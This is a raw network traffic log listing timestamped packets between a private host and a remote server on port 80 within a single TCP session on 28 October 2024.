Oct 28, 2024 19:46:17.456707001 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.456739902 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.456763983 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.457629919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.457667112 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.457684040 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.458651066 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.458684921 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.458717108 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.459665060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.459700108 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.459721088 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.460664988 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.460701942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.460719109 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.460735083 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.460787058 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.461668015 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.461700916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.461752892 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.462727070 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.462760925 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.462793112 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.462820053 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.463768959 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.463803053 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.463824987 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.464478016 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.464512110 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.464528084 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.465256929 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.465310097 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.465312958 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.466070890 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.466105938 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.466125965 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.466139078 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.466197968 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.466926098 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.466965914 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.467020035 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.467668056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.467701912 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.467751980 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.468458891 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.468492985 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.468540907 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.469280958 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.469315052 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.469347954 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.469368935 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.470058918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.470094919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.470114946 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.470869064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.470910072 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.470923901 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.471663952 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.471698999 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.471719027 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.472459078 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.472492933 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.472508907 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.473206997 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.473257065 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.473273993 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.473287106 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.473335981 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.573851109 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.574069977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.574105024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.574141026 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.574820042 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.574852943 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.574881077 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.575613976 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.575648069 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.575678110 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.576445103 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.576493025 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.576500893 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.576524973 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.576580048 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.577203989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.577239037 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.577291965 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.578001976 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.578037977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.578069925 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.578100920 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.578877926 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.578913927 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.578939915 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.579621077 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.579653978 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.579685926 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.579690933 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.579737902 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.580416918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.580451012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.580503941 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.581222057 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.581258059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.581332922 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.581892014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.581927061 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.581975937 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.581975937 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.582854033 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.582889080 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.582917929 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.582921028 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.582957029 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.582984924 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.583817005 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.583849907 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.583862066 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.583883047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.583998919 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.584800005 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.584836006 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.584867954 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.584882021 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.585825920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.585860014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.585884094 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.585894108 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.585931063 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.585943937 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.586724997 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.586759090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.586781025 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.586791992 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.586843014 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.587671041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.587706089 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.587739944 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.587749004 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.588639975 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.588674068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.588692904 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.588707924 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.588741064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.588747978 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.589629889 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.589663982 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.589678049 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.589698076 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.589752913 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.590500116 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.590533972 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.590568066 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.590586901 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.591415882 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.591450930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.591470003 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.591483116 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.591520071 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.591531992 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.592370987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.592410088 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.592423916 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.592442989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.592489958 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.593101025 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.593135118 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.593168020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.593184948 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.593934059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.593967915 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.593986034 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.594001055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.594034910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.594049931 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.594717026 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.594752073 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.594767094 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.594786882 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.594830990 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.595496893 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.595534086 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.595566988 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.595591068 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.596234083 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.596286058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.596287966 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.596324921 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.596359015 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.596366882 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.596993923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.597040892 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.597043037 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.597076893 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.597140074 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.597848892 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.597884893 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.597918034 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.597929955 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.598462105 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.598498106 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.598511934 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.598531008 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.598566055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.598570108 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.599211931 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.599246979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.599271059 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.599298954 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.599350929 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.599911928 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.599946976 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.600059032 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.602087021 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.693229914 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.693408012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.693458080 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.693465948 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.693873882 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.693907976 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.693926096 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.693947077 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.693996906 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.694669008 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.694721937 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.694756031 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.694761992 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.695449114 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.695482969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.695492029 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.695517063 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.695552111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.695561886 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.696233034 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.696266890 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.696283102 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.696300983 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.696351051 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.697012901 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.697047949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.697082043 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.697102070 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.697841883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.697876930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.697891951 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.697911978 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.697947025 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.697968006 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.698676109 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.698710918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.698728085 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.698745012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.698801041 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.699373960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.699408054 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.699441910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.699454069 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.700123072 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.700156927 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.700165987 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.700203896 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.700236082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.700248957 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.700766087 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.700799942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.700814962 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.700834990 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.700867891 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.700877905 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.701529980 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.701581001 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.701581001 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.701616049 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.701649904 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.701663017 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.701684952 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.701726913 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.702438116 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.702471972 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.702506065 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.702519894 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.702539921 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.702588081 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.703270912 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.703305006 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.703352928 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.703358889 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.703387976 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.703422070 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.703432083 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.704103947 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.704138994 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.704152107 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.704173088 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.704205990 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.704221010 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.704916954 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.704952002 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.704968929 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.704986095 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.705018997 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.705024004 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.705051899 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.705096006 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.705760002 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.705795050 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.705827951 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.705838919 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.705862045 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.705909014 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.706593037 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.706626892 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.706660032 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.706676960 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.706693888 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.706727028 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.706742048 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.707425117 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.707459927 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.707478046 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.707494020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.707535028 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.707526922 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.708065987 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.708246946 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.708281994 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.708298922 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.708314896 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.708348989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.708367109 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.709019899 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.709054947 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.709072113 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.709086895 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.709120989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.709131956 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.709155083 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.709188938 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.709198952 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:17.709970951 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:17.710006952 CET	80	49726	166.1.160.211	192.168.2.16
